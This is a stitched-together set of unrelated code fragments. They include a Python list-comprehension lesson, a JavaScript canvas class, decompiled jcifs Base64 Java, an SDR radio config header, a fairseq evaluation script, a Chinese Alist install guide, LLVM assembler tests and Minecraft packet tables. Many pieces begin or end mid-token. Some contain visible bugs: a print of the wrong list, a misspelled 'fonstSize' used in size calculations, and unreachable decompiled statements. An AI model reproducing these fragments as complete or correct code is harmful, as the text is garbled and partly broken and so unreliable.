   CanvasRenderingContext2D::set_shadow_offset_y(20);

   CanvasRenderingContext2D::set_fill_style_rgba(0, 255, 0, 51);
   CanvasRenderingContext2D::fill_rect(10., 10., 150., 100.);

   CanvasR


# list comprehension
# with the help of list comprehension we cna create of list in one line

#create a list of square from 1 to 10
#using normal method
square = []
for i in range(1,11):
    square.append(i**2)
print(f"square using normal method {square}")

#________________________________________________________________
# list of square using list comprehension

comprehen_square = [i**2 for i in range(1,11)]
print(f" print square using list comp {comprehen_square}")

#_________________________________________________________________
# Another example create negative number list 1 to 10 using simple method.
neg_list = []
for i in range(1, 11):
    neg_list.append(-i)
print(f"negative list using simple method {neg_list}")

#__________________________________________________________________
# using list comprehension method
neg_numb = [-i for i in range(1,11)]
print(f"negative list using list comprehension {neg_list}")

#Quesiton>>> you have name list and that list you have to print first word.

names = ['shubham','saurabh','shashank','kartikey']
first_char = [name[0] for name in names]
print(f"first letter of names {first_char}")


/assets/playground/icons_pause.png"],
    ["next", "/assets/playground/icons_next.png"],
    ["volume", "/assets/playground/icons_volup.png"],
    ["power", "/assets/playground/icons_power.png"],
  ]);

  const controls = new Map();

  let paused = false;
  let muted = false;
  let startedAt = document.timeline.currentTime;
  let lastPaused = document.timeline.currentTime;
  let latestAttributes = null;
  let hadAudio = false;

  const enabledEmissive = 8;
  const disabledEmissive = 0.1;
  const clickedEmissive = 20;
  const clickHighlightDuration = 120;
  const unmutedAudioVolume = 3;

  let currentVideoIndex = 0;
  const firstVideo = videosAvailable[currentVideoIndex];
  const firstAudio = audiosAvailable[currentVideoIndex];
  const video = createVideo(tvGroup, firstVideo, 0, 2.92, 1.35, 4.5, 3.95, 1.1);
  const audio = createAudio(wrapper, firstAudio, 0, 21, 0, 90, 45, 100, false);

  class AttributesToCanvasImage {
    image = null;
    canvas = document.createElement("canvas");
    ctx = this.canvas.getContext("2d");

    width = 300;
    height = 300;
    lineHeight = 0;
    maxLineCharacters = 0;
    fonstSize = 50;

    openingTag = "";
    closingTag = "";

    color = "#ffffff";
    attributeColor = "#ff77aa";
    eqColor = "#777777";
    valueColor = "#33aaff";

    attributes = [];

    constructor(targetImage, element, fontSize, color, tag) {
      this.image = targetImage;
      this.fontSize = fontSize;
      this.lineHeight = parseFloat((this.fontSize * 1.05).toFixed(2));
      this.color = color;

      this.openingTag = `<${tag}`;
      this.closingTag = `></${tag}>`;

      this.getElementAttributes(element);
    }

    getElementAttributes(element) {
      const attributes = [];
      for (const attr of element.getAttributeNames()) {
        let val = element.getAttribute(attr);
        const numberVal = parseFloat(val);
        if (!isNaN(numberVal)) val = numberVal.toFixed(2);
        const attribute = `${attr}="${val}"`;
        attributes.push(attribute);
        const attributeLength = attribute.length;
        if (this.maxLineCharacters < attributeLength) {
          this.maxLineCharacters = attributeLength;
        }
      }
      this.attributes = attributes;
      this.canvas.width = (this.maxLineCharacters + 4) * this.fonstSize * 0.3;
      this.canvas.height = this.fontSize * (this.attributes.length + 2) * 1.25;
      const imageWidth = Math.round(this.canvas.width * 100) / 10000;
      const imageHeight = Math.round(this.canvas.height * 100) / 10000;
      this.image.setAttribute("width", imageWidth);
      this.image.setAttribute("height", imageHeight);
      this.image.setAttribute("emissive", 12);
      this.ctx.fillStyle = "rgba(0, 0, 0, 0)";
      this.ctx.fillRect(0, 0, this.canvas.width, this.canvas.height);
      this.paintCanvas();
    }

    paintCanvas() {
      this.ctx.font = `900 ${this.fontSize}px monospace`;
      let yPos = this.lineHeight;
      this.ctx.fillStyle = this.color;
      this.ctx.fillText(this.openingTag, 0, yPos);
      yPos += this.lineHeight;
      for (let i = 0; i < this.attributes.length; i++) {
        let xOffset = this.fonstSize * 0.6;
        let [attr, value]


rayOfByte[i] = ((byte)(i1 & 0xFF));
        i += 1;
        break label56;
        if (paramString.charAt(m - 1) == '=')
        {
          i = 1;
          break;
        }
        i = 0;
        break;
      }
      break label56;
      i = k;
    }
  }

  public static String encode(byte[] paramArrayOfByte)
  {
    int j = paramArrayOfByte.length;
    if (j == 0) {
      return "";
    }
    StringBuffer localStringBuffer = new StringBuffer((int)Math.ceil(j / 3.0D) * 4);
    int k = j % 3;
    int i = 0;
    while (i < j - k)
    {
      int i1 = i + 1;
      int m = paramArrayOfByte[i];
      int n = i1 + 1;
      i1 = paramArrayOfByte[i1];
      i = n + 1;
      m = (i1 & 0xFF) << 8 | (m & 0xFF) << 16 | paramArrayOfByte[n] & 0xFF;
      localStringBuffer.append("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt(m >>> 18));
      localStringBuffer.append("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt(m >>> 12 & 0x3F));
      localStringBuffer.append("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt(m >>> 6 & 0x3F));
      localStringBuffer.append("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt(m & 0x3F));
    }
    if (k == 0) {
      return localStringBuffer.toString();
    }
    if (k == 1)
    {
      i = (paramArrayOfByte[i] & 0xFF) << 4;
      localStringBuffer.append("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt(i >>> 6));
      localStringBuffer.append("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt(i & 0x3F));
      localStringBuffer.append("==");
      return localStringBuffer.toString();
    }
    i = ((paramArrayOfByte[i] & 0xFF) << 8 | paramArrayOfByte[(i + 1)] & 0xFF) << 2;
    localStringBuffer.append("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt(i >>> 12));
    localStringBuffer.append("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt(i >>> 6 & 0x3F));
    localStringBuffer.append("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt(i & 0x3F));
    localStringBuffer.append("=");
    return localStringBuffer.toString();
  }
}

/* Location:
 * Qualified Name:     jcifs.util.Base64
 * Java Class Version: 6 (50.0)
 * JD-Core Version:    0.7.1
 */package jcifs.dcerpc;

public class UUID
  extends rpc.uuid_t
{
  static final char[] HEXCHARS = { 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 65, 66, 67, 68, 69, 70 };


------------------------------------
    -- Ruby
    -- gem install rubocop
    formatting.rubocop,
    -----------------------------------------------------
    -- formatting.fixjson,
    -- Diagnostics  ---------------------
    diagnostics.eslint.with({
      prefer_local = "node_modules/.bin",
    }),
    -- diagnostics.markdownlint,
    -- markdownlint-cli2
    -- diagnostics.markdownlint.with({
    --   prefer_local = "node_modules/.bin",
    --   command = "markdownlint-cli2",
    --   args = { "$FILENAME", "#node_modules" },
    -- }),
    --
    -- code actions ---------------------
    code_actions.gitsigns,
    code_actions.eslint.with({
      prefer_local = "node_modules/.bin",
    }),
  },
  -- #{m}: message
  -- #{s}: source name (defaults to null-ls if not specified)
  -- #{c}: code (if available)
  diagnostics_format = "[#{s}] #{m}",
  on_attach = function(_)
    vim.cmd([[ command! Format execute 'lua vim.lsp.buf.formatting_sync']])
    -- if client.resolved_capabilities.document_formatting then
    --   vim.cmd("autocmd BufWritePre <buffer> lua vim.lsp.buf.formatting_sync()")
    -- end
  end,
})


s 0x66 only - Jumpers A1, A2, A5 and A6 are soldered.*/
  #endif
#endif // I2C_ENCODERS

// -------------------------  PE4302 6 bit Digital Step Attenuator -----------------------------
//      Digital step attenuator.  0-31.5dB in 0.5dB steps. Connected via I2C port expander.
//      Could use the 3 left over pins on the MCP23017 I2C port expander servicing the SV1AFN preselector module.
//      For now using Teensy 4.1 pins 30-32.
//
#ifdef PE4302   // for V2.2 board I am not using an encoder on ENC3 so using the ENC3 pins for the Step Attenuator
  #define Atten_CLK       GPIO_GPS_RX_PIN
  #define Atten_DATA      GPIO_GPS_TX_PIN
  #define Atten_LE        GPIO_GSP_GPIO_PIN
#endif  // DIG_STEP_ATT
//
//
//------------------------------------  Ethernet UDP messaging section --------------------------
//
#ifdef ENET
    #include <NativeEthernet.h>
    #include <NativeEthernetUdp.h>

    // Choose or create your desired time zone offset or use 0 for UTC.
    #define MYTZ -8
    // here are some example values
    //  1 Central European Time
    //  0 UTC
    // -5 Eastern Standard Time (USA)
    // -4 Eastern Daylight Time (USA)
    // -8 Pacific Standard Time (USA)
    // -7 Pacific Daylight Time (USA)

    // If NOT using DHCP then assign a static IP address for the SDR
    #ifndef USE_DHCP
    // The IP Address is ignored if using DHCP
    // IP address is defined in SDR_Network.cpp
    #endif // USE_DHCP

    #define MY_LOCAL_PORTNUM 7943;     // local port the SDR will LISTEN on for any remote display/Desktop app

    #ifdef REMOTE_OPS
      // This is for later remote operation usage
      // IP address is defined in SDR_Network.cpp
      #define MY_REMOTE_PORTNUM 7942;         // The destination port to SENDTO (a remote display or Desktop app)
    #endif // REMOTE_OPS
//
//------------------------------------ End of Ethernet UDP messaging section --------------------------
//
#endif  // ENET

// -----------------------------   I2C LCD Display  -------------------------------------------
//
//  An optional I2C character LCD Display can be connected to the Teensy as well, and used
//  to display just about any value you might need, such as RF or AF Gain, or signal strength.
//  Make sure all i2c devices have unique address or problems will ensue.
//
#ifdef I2C_LCD
  #define LCD_ADR     0x27
  #define LCD_COL     20
  #define LCD_LINES   2
#endif //I2C_LCD

// -----------------------------   PANADAPTER CAT INTERFACES  -------------------------------------------
//
#ifdef  FT817_CAT
  #define PAN_CAT
  #define HWSERIAL Serial1 // Teensy hardware Serial or USB Serial port. Set this to the hardware serial port you wish to use
  #include <ft817.h>
  #include "SDR_CAT.h"
#endif  // FT817_CAT

#ifdef PAN_CAT
  #include "SDR_CAT.h"
#endif

#endif //_RADIOCONFIG_H_


60 * 60 * 24
                'h' -> cc * 1000 * 60 * 60
                'm' -> cc * 1000 * 60
                's' -> cc * 1000
                'S' -> cc
                else -> 0L
            }
            cTime = ""
        }
    }
    return time
}package rain.function.type

import rain.function.arrayMap
import java.lang.reflect.ParameterizedType
import java.lang.reflect.Type
import java.lang.reflect.WildcardType

class RelType<T>(
    val realType: Type,
    val realClass: Class<T>,
    val generics: Array<RelType<*>>?
) {

    companion object {
        fun create(type: Type): RelType<*> =
            when (type) {
                is Class<*> -> RelType(type, type, null)
                is ParameterizedType -> RelType(
                    type,
                    type.rawType as Class<*>,
                    type.actualTypeArguments.arrayMap { create(it) })
                is WildcardType -> RelType(type,type.upperBounds[0] as Class<*>,null)
                else -> error("在尝试构建 RelType 时，遇到无法解析的类型，在 $type。")
            }

        fun <T> create(clazz: Class<T>): RelType<T> = RelType(clazz, clazz, null)
    }

    fun isAssignableFrom(otherType: RelType<*>): Boolean = realClass.isAssignableFrom(otherType.realClass)

    override fun toString(): String {
        return if (generics == null) realClass.name
        else realClass.name + generics.arrayMap { it.toString() }.joinToString(",", "<", ">")
    }
}package com.example.helloglide2

import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle
import androidx.recyclerview.widget.LinearLayoutManager
import androidx.recyclerview.widget.RecyclerView
import com.bumptech.glide.Glide
import com.bumptech.glide.integration.recyclerview.RecyclerViewPreloader
import com.bumptech.glide.util.FixedPreloadSizeProvider

class MainActivity : AppCompatActivity() {

    private lateinit var recyclerView: RecyclerView
    private lateinit var viewAdapter: RecyclerView.Adapter<*>
    private lateinit var viewManager: RecyclerView.LayoutManager
    val cryptocurrencies = listOf(
        Pair("Bitcoin", "https://upload.wikimedia.org/wikipedia/commons/thumb/c/c5/Bitcoin_logo.svg/200px-Bitcoin_logo.svg.png"),
        Pair("Ethereum", "https://upload.wikimedia.org/wikipedia/commons/thumb/0/05/Ethereum_logo_2014.svg/200px-Ethereum_logo_2014.svg.png"),
        Pair("Litecoin", "https://upload.wikimedia.org/wikipedia/commons/thumb/2/24/6_Full_Logo_S-2.png/320px-6_Full_Logo_S-2.png"),
        Pair("Bitcoin Cash", "https://upload.wikimedia.org/wikipedia/commons/thumb/5/58/Bitcoin_Cash.png/287px-Bitcoin_Cash.png"),
        Pair("Monero", "https://upload.wikimedia.org/wikipedia/commons/thumb/2/2d/Monero-Logo.svg/200px-Monero-Logo.svg.png"),
        Pair("Ripple", "https://upload.wikimedia.org/wikipedia/commons/thumb/8/88/Ripple_logo.svg/200px-Ripple_logo.svg.png"),
        Pair("Zcash", "https://upload.wikimedia.org/wikipedia/en/thumb/9/99/Zcash_logo_2019.svg/320px-Zcash_logo_2019.svg.png"),
        Pair("Stellar", "https://upload.wikimedia.org/wikipedia/commons/thumb/5/


).selector.to_u16() as u32;
        regs.segments[2] = core.sgregs.get(SgReg::DS).selector.to_u16() as u32;
        regs.segments[3] = core.sgregs.get(SgReg::ES).selector.to_u16() as u32;
        regs.segments[4] = core.sgregs.get(SgReg::FS).selector.to_u16() as u32;
        regs.segments[5] = core.sgregs.get(SgReg::GS).selector.to_u16() as u32;

        Ok(())
    }

    fn write_registers(&mut self, regs: &arch::x86::reg::X86CoreRegs) -> TargetResult<(), Self> {
        let core = &mut self.ac.core;
        core.gpregs.set32(GpReg32::EAX, regs.eax);
        core.gpregs.set32(GpReg32::ECX, regs.ecx);
        core.gpregs.set32(GpReg32::EDX, regs.edx);
        core.gpregs.set32(GpReg32::EBX, regs.ebx);
        core.gpregs.set32(GpReg32::ESI, regs.esi);
        core.gpregs.set32(GpReg32::EDI, regs.edi);
        core.gpregs.set32(GpReg32::EBP, regs.ebp);
        core.gpregs.set32(GpReg32::ESP, regs.esp);

        core.ip.set_eip(regs.eip);
        core.rflags.from_u64(regs.eflags as u64);

        core.sgregs.get_mut(SgReg::CS).selector.from_u16(regs.segments[0] as u16);
        core.sgregs.get_mut(SgReg::SS).selector.from_u16(regs.segments[1] as u16);
        core.sgregs.get_mut(SgReg::DS).selector.from_u16(regs.segments[2] as u16);
        core.sgregs.get_mut(SgReg::ES).selector.from_u16(regs.segments[3] as u16);
        core.sgregs.get_mut(SgReg::FS).selector.from_u16(regs.segments[4] as u16);
        core.sgregs.get_mut(SgReg::GS).selector.from_u16(regs.segments[5] as u16);

        Ok(())
    }

    fn read_register( &mut self, reg_id: arch::x86::reg::id::X86CoreRegId, dst: &mut [u8],) -> TargetResult<(), Self> {
        let core = &self.ac.core;
        let reg_val = match reg_id {
            X86CoreRegId::Eip => Some(core.ip.get_eip()),
            X86CoreRegId::Eax => Some(core.gpregs.get32(GpReg32::EAX)),
            X86CoreRegId::Ebx => Some(core.gpregs.get32(GpReg32::EBX)),
            X86CoreRegId::Ecx => Some(core.gpregs.get32(GpReg32::ECX)),
            X86CoreRegId::Edx => Some(core.gpregs.get32(GpReg32::EDX)),
            X86CoreRegId::Edi => Some(core.gpregs.get32(GpReg32::EDI)),
            X86CoreRegId::Esi => Some(core.gpregs.get32(GpReg32::ESI)),
            X86CoreRegId::Ebp => Some(core.gpregs.get32(GpReg32::EBP)),
            X86CoreRegId::Esp => Some(core.gpregs.get32(GpReg32::ESP)),
            _ => None,
        };

        if let Some(w) = reg_val {
            dst.copy_from_slice(&w.to_le_bytes());
            Ok(())
        } else {
            Err(().into())
        }
    }

    fn write_register( &mut self, reg_id: arch::x86::reg::id::X86CoreRegId, val: &[u8],) -> TargetResult<(), Self> {
        let mut dst = [0u8; 4];


ataset.skip_invalid_size_inputs_valid_test,
        required_batch_size_multiple=cfg.dataset.required_batch_size_multiple,
        seed=cfg.common.seed,
        num_shards=cfg.distributed_training.distributed_world_size,
        shard_id=cfg.distributed_training.distributed_rank,
        num_workers=cfg.dataset.num_workers,
        data_buffer_size=cfg.dataset.data_buffer_size,
    ).next_epoch_itr(shuffle=False)
    progress = progress_bar.progress_bar(
        itr,
        log_format=cfg.common.log_format,
        log_interval=cfg.common.log_interval,
        default_log_format=("tqdm" if not cfg.common.no_progress_bar else "simple"),
    )

    # Initialize generator
    extra_gen_cls_kwargs = {"lm_model": lms[0], "lm_weight": cfg.generation.lm_weight}
    generator = task.build_generator(models, cfg.generation, extra_gen_cls_kwargs=extra_gen_cls_kwargs)

    results = []
    score_sum = torch.FloatTensor([0]).cuda()
    score_cnt = torch.FloatTensor([0]).cuda()
    for sample in progress:
        if "net_input" not in sample:
            continue
        sample = utils.move_to_cuda(sample) if use_cuda else sample
        sample = utils.apply_to_sample(apply_half, sample) if cfg.common.fp16 else sample
        with torch.no_grad():
            if kwargs["zero_shot"]:
                result, scores = zero_shot_step(task, generator, models, sample)
            else:
                result, scores = eval_step(task, generator, models, sample, **kwargs)
        results += result
        if isinstance(scores[0], tuple):
            score_sum += sum([s[0] for s in scores])
            score_cnt += sum([s[1] for s in scores])
        else:
            score_sum += sum(scores) if scores is not None else 0
            score_cnt += len(scores) if scores is not None else 0

        progress.log({"sentences": sample["nsentences"]})

    merge_results(task, cfg, logger, score_cnt, score_sum, results)

def cli_main():
    parser = options.get_generation_parser()
    parser.add_argument("--ema-eval", action='store_true', help="Use EMA weights to make evaluation.")
    parser.add_argument("--beam-search-vqa-eval", action='store_true', help="Use beam search for vqa evaluation (faster inference speed but sub-optimal result), if not specified, we compute scores for each answer in the candidate set, which is slower but can obtain best result.")
    parser.add_argument("--zero-shot", action='store_true')
    args = options.parse_args_and_arch(parser)
    cfg = convert_namespace_to_omegaconf(args)
    distributed_utils.call_main(
        cfg, main, ema_eval=args.ema_eval, beam_search_vqa_eval=args.beam_search_vqa_eval, zero_shot=args.zero_shot
    )

if __name__ == "__main__":
    cli_main()


217z"></path></svg></button>

解释一下
这里你可能对命令有点晕，我稍作解释一下(只了解一点点)：

mkdir : 意思是新建文件夹

cd : 进入某个文件夹

比如运行了上述命令之后，你就在domains文件夹下新建了一个alist文件夹，并已经进去到alist文件夹下，如果重新连接ssh，要想进去alist文件夹，可以这样：

SSH中输入cd domains/alist 并回车就进去到了alist文件夹下！

接着下载目前 uubulb/alist-freebsd 提供的最新版的Alist的可执行二进制文件构筑:

点击右边按钮复制，粘贴到SSH中并回车！

<input class="copy-area" id="copy_49" value="wget https://github.com/uubulb/alist-freebsd/releases/download/v3.33.0/alist && chmod +x alist"><button class="copy-btn" onclick="util.copy("copy_49","复制成功")"><svg class="icon copy-btn" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M5.75 1a.75.75 0 00-.75.75v3c0 .414.336.75.75.75h4.5a.75.75 0 00.75-.75v-3a.75.75 0 00-.75-.75h-4.5zm.75 3V2.5h3V4h-3zm-2.874-.467a.75.75 0 00-.752-1.298A1.75 1.75 0 002 3.75v9.5c0 .966.784 1.75 1.75 1.75h8.5A1.75 1.75 0 0014 13.25v-9.5a1.75 1.75 0 00-.874-1.515.75.75 0 10-.752 1.298.25.25 0 01.126.217v9.5a.25.25 0 01-.25.25h-8.5a.25.25 0 01-.25-.25v-9.5a.25.25 0 01.126-.217z"></path></svg></button>

然后需要先启动一次Alist以生成配置文件，此次启动一定会失败，请不用在意：

点击右边按钮复制，粘贴到SSH中并回车！

<input class="copy-area" id="copy_50" value="./alist server"><button class="copy-btn" onclick="util.copy("copy_50","复制成功")"><svg class="icon copy-btn" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M5.75 1a.75.75 0 00-.75.75v3c0 .414.336.75.75


0xc2,0x11,0x7b]
          vcmppd k2, zmm12, qword ptr [rcx]{1to8}, 123

// CHECK: vcmppd k2, zmm12, zmmword ptr [rdx + 8128], 123
// CHECK:  encoding: [0x62,0xf1,0x9d,0x48,0xc2,0x52,0x7f,0x7b]
          vcmppd k2, zmm12, zmmword ptr [rdx + 8128], 123

// CHECK: vcmppd k2, zmm12, zmmword ptr [rdx + 8192], 123
// CHECK:  encoding: [0x62,0xf1,0x9d,0x48,0xc2,0x92,0x00,0x20,0x00,0x00,0x7b]
          vcmppd k2, zmm12, zmmword ptr [rdx + 8192], 123

// CHECK: vcmppd k2, zmm12, zmmword ptr [rdx - 8192], 123
// CHECK:  encoding: [0x62,0xf1,0x9d,0x48,0xc2,0x52,0x80,0x7b]
          vcmppd k2, zmm12, zmmword ptr [rdx - 8192], 123

// CHECK: vcmppd k2, zmm12, zmmword ptr [rdx - 8256], 123
// CHECK:  encoding: [0x62,0xf1,0x9d,0x48,0xc2,0x92,0xc0,0xdf,0xff,0xff,0x7b]
          vcmppd k2, zmm12, zmmword ptr [rdx - 8256], 123

// CHECK: vcmppd k2, zmm12, qword ptr [rdx + 1016]{1to8}, 123
// CHECK:  encoding: [0x62,0xf1,0x9d,0x58,0xc2,0x52,0x7f,0x7b]
          vcmppd k2, zmm12, qword ptr [rdx + 1016]{1to8}, 123

// CHECK: vcmppd k2, zmm12, qword ptr [rdx + 1024]{1to8}, 123
// CHECK:  encoding: [0x62,0xf1,0x9d,0x58,0xc2,0x92,0x00,0x04,0x00,0x00,0x7b]
          vcmppd k2, zmm12, qword ptr [rdx + 1024]{1to8}, 123

// CHECK: vcmppd k2, zmm12, qword ptr [rdx - 1024]{1to8}, 123
// CHECK:  encoding: [0x62,0xf1,0x9d,0x58,0xc2,0x52,0x80,0x7b]
          vcmppd k2, zmm12, qword ptr [rdx - 1024]{1to8}, 123

// CHECK: vcmppd k2, zmm12, qword ptr [rdx - 1032]{1to8}, 123
// CHECK:  encoding: [0x62,0xf1,0x9d,0x58,0xc2,0x92,0xf8,0xfb,0xff,0xff,0x7b]
          vcmppd k2, zmm12, qword ptr [rdx - 1032]{1to8}, 123

// CHECK: vcmpps k2, zmm17, zmm22, 171
// CHECK:  encoding: [0x62,0xb1,0x74,0x40,0xc2,0xd6,0xab]
          vcmpps k2, zmm17, zmm22, 171

// CHECK: vcmpps k2 {k3}, zmm17, zmm22, 171
// CHECK:  encoding: [0x62,0xb1,0x74,0x43,0xc2,0xd6,0xab]
          vcmpps k2 {k3}, zmm1


md>)🔁💫🔬
- [Day 8: Longest Palindrome in a String](<08(Mar)%20Longest%20Palindrome%20in%20a%20String.md>)🔠📏🔄
- [Day 9: Palindrome SubStrings](<09(Mar)%20Palindrome%20SubStrings.md>)📜🔄🔢
- [Day 10: Edit Distance](<10(Mar)%20Edit%20Distance.md>)✂🧮🔢
- [Day 11: Ways to Reach the n'th Stair](<11(Mar)%20Ways%20to%20Reach%20the%20n'th%20Stair.md>)➡🏃♂🔢
- [Day 12: Min Cost Climbing Stairs](<12(Mar)%20Min%20Cost%20Climbing%20Stairs.md>)🏃♂💰🔝
- [Day 13: 0 - 1 Knapsack Problem](<13(Mar)%200%20-%201%20Knapsack%20Problem.md>)🎒💰🔢
- [Day 14: Coin Change (Count Ways)](<14(Mar)%20Coin%20Change%20(Count%20Ways).md>)🪙🔢💰
- [Day 15: Coin Change (Minimum Coins)](<15(Mar)%20Coin%20Change%20(Minimum%20Coins).md>)🪙📉💰
- [Day 16: Minimum Jumps](<16(Mar)%20Minimum%20Jumps.md>)🏃♂💨➡
- [Day 17: Subset Sum Problem](<17(Mar)%20Subset%20Sum%20Problem.md>)🎯🔢✅
- [Day 18: Partition Equal Subset Sum](<18(Mar)%20Partition%20Equal%20Subset%20Sum.md>)➗🔢❌
- [Day 19: Stock Buy and Sell – Max K Transactions Allowed](<19(Mar)%20Stock%20Buy%20and%20Sell%20–%20Max%20K%20Transactions%20Allowed.md>)💰💵🛒
- [Day 20: Stock Buy and Sell – Max 2 Transactions Allowed](<20(Mar)%20Stock%20Buy%20and%20Sell%20–%20Max%202%20Transactions%20Allowed.md>)💰💹💵
- [Day 21: Stickler Thief](<21(Mar)%20Stickler%20Thief.md>)🦹♂🏠🚔
- [Day 22: Stickler Thief II](<22(Mar)%20Stickler%20Thief%20II.md>)🦹♂🏠💰
- [Day 23: Total Decoding Messages](<23(Mar)%20Total%20Decoding%20Messages.md>)🔢➡🔡
- [Day 24: Matrix Chain Multiplication](<24(Mar)%20Matrix%20Chain%20Multiplication.md>)➗📈🔢
- [Day 25: Boolean Parenthesization](<25(Mar)%20Boolean%20Parenthesization.md>)🧮✅❌
- [Day 26: Word Break](<26(Mar)%20Word%20Break.md>)📖✂🚀
- [Day 27: Minimum Platforms](<27(Mar)%20Minimum%20Platforms.md>)🚉🚆⏳
- [Day 28: Activity Selection](<28(Mar)%20Activity%20Selection.md>)📅⏳🏆
- [Day 29: Job Sequencing Problem](<29(Mar)%20Job%20Sequencing%20Problem.md>)📅💼💰
- [Day 30: Gas Station](<30(Mar)%20Gas%20Station.md>)⛽🚗💨
- [Day 31: Maximize partitions in a String](<31(Mar)%20Maximize%20partitions%20in%20a%20String.md>)🔠🧩📏

## Introduction

This repository contains solutions to daily problems from GeeksforGeeks. Each day, a new problem is provided along with its solution.

_Day 1(01 MAR) :_ Decode the string

_Day 2(02 MAR) :_ K Sized Subarray Maximum


     public float baseValue;
      public float addValuePerDuplication;
    }
    [Header("Driven Input Generator Properties")]
    public GeneratorPropertyDriver[] drivenProperties;

    private FieldInfo[] _backingDrivenPropertyInfos;
    private FieldInfo[] _drivenPropertyInfos {
      get {
        if (_backingDrivenPropertyInfos == null
            || _backingDrivenPropertyInfos.Length != drivenProperties.Length) {
          _backingDrivenPropertyInfos = new FieldInfo[drivenProperties.Length];
        }
        return _backingDrivenPropertyInfos;
      }
    }

    public override void Generate(Mesh mesh) {
      mesh.Clear();
      if (_inputMeshGenerator == null) return;

      // Collect PropertyInfo objects for driving properties via Reflection.
      for (int i = 0; i < drivenProperties.Length; i++) {
        var fieldInfo = _inputMeshGenerator.GetType().GetField(drivenProperties[i].name);
        if (fieldInfo == null
            || fieldInfo.FieldType != typeof(float)) {
          _drivenPropertyInfos[i] = null;
        }
        else {
          _drivenPropertyInfos[i] = fieldInfo;
        }
      }

      // Perform duplication, driving properties along the way and accumulating each
      // duplicate into a single mesh.
      var singleMeshBuffer = Pool<PolyMesh>.Spawn();
      singleMeshBuffer.Clear();
      var accumulatingMesh = Pool<PolyMesh>.Spawn();
      accumulatingMesh.Clear();
      try {
        for (int i = 0; i < numDuplicates; i++) {
          for (int p = 0; p < drivenProperties.Length; p++) {
            var valueInfo = drivenProperties[p];
            var propInfo = _drivenPropertyInfos[p];
            if (propInfo == null) continue;
            else {
              var propValue = valueInfo.baseValue + i * valueInfo.addValuePerDuplication;

              propInfo.SetValue(_inputMeshGenerator, propValue);
            }
          }

          _inputMeshGenerator.Generate(mesh);

          singleMeshBuffer.Clear();
          singleMeshBuffer.FromUnityMesh(mesh);

          accumulatingMesh.Append(singleMeshBuffer);
        }

        mesh.Clear();
        accumulatingMesh.FillUnityMesh(mesh);
      }
      finally {
        singleMeshBuffer.Clear();
        Pool<PolyMesh>.Recycle(singleMeshBuffer);
        accumulatingMesh.Clear();
        Pool<PolyMesh>.Recycle(accumulatingMesh);
      }
    }
  }

}


 void registerPackets() {
        dataTypes[0] = new DataType[]{INT};
        dataTypes[1] = new DataType[]{INT, STRING, BYTE, BYTE, BYTE, BYTE, BYTE};
        dataTypes[2] = new DataType[]{BYTE, STRING, STRING, INT};
        dataTypes[3] = new DataType[]{STRING};
        dataTypes[4] = new DataType[]{LONG};
        dataTypes[5] = new DataType[]{INT, SHORT, ITEM};
        dataTypes[6] = new DataType[]{INT, INT, INT};
        dataTypes[7] = new DataType[]{INT, INT, BYTE};
        dataTypes[8] = new DataType[]{SHORT, SHORT, FLOAT};
        dataTypes[9] = new DataType[]{INT, BYTE, BYTE, SHORT, STRING};
        dataTypes[10] = new DataType[]{BYTE};
        dataTypes[11] = new DataType[]{DOUBLE, DOUBLE, DOUBLE, DOUBLE, BYTE};
        dataTypes[12] = new DataType[]{FLOAT, FLOAT, BYTE};
        dataTypes[13] = new DataType[]{DOUBLE, DOUBLE, DOUBLE, DOUBLE, FLOAT, FLOAT, BYTE};
        dataTypes[14] = new DataType[]{BYTE, INT, BYTE, INT, BYTE};
        dataTypes[15] = new DataType[]{INT, BYTE, INT, BYTE, ITEM, BYTE, BYTE, BYTE};
        dataTypes[16] = new DataType[]{SHORT};
        dataTypes[17] = new DataType[]{INT, BYTE, INT, BYTE, INT};
        dataTypes[18] = new DataType[]{INT, BYTE};
        dataTypes[19] = new DataType[]{INT, BYTE};
        dataTypes[20] = new DataType[]{INT, STRING, INT, INT, INT, BYTE, BYTE, SHORT, V1_3BProtocol.METADATA};
        dataTypes[21] = new DataType[]{INT, SHORT, BYTE, SHORT, INT, INT, INT, BYTE, BYTE, BYTE};
        dataTypes[22] = new DataType[]{INT, INT};
        dataTypes[23] = new DataType[]{INT, BYTE, INT, INT, INT, V1_3BProtocol.MOTION};
        dataTypes[24] = new DataType[]{INT, BYTE, INT, INT, INT, BYTE, BYTE, BYTE, SHORT, SHORT, SHORT, V1_3BProtocol.METADATA};
        dataTypes[25] = new DataType[]{INT, STRING, INT, INT, INT, INT};
        dataTypes[26] = new DataType[]{INT, INT, INT, INT, SHORT};
        dataTypes[28] = new DataType[]{INT, SHORT, SHORT, SHORT};
        dataTypes[29] = new DataType[]{BYTE_INT_ARRAY};
        dataTypes[30] = new DataType[]{INT};
        dataTypes[31] = new DataType[]{INT, BYTE, BYTE, BYTE};
        dataTypes[32] = new DataType[]{INT, BYTE, BYTE};
        dataTypes[33] = new DataType[]{INT, BYTE, BYTE, BYTE, BYTE, BYTE};
        dataTypes[34] = new DataType[]{INT, INT, INT, INT, BYTE, BYTE};
        dataTypes[35] = new DataType[]{INT, BYTE};
        dataTypes[38] = new DataType[]{INT, BYTE};
        dataTypes[39] = new DataType[]{INT, INT};
        dataTypes[40] = new DataType[]{INT, V1_3BProtocol.METADATA};
        dataTypes[41] = new DataType[]{INT, BYTE, BYTE, SHORT};
        dataTypes[42] = new DataType[]{INT, BYTE};
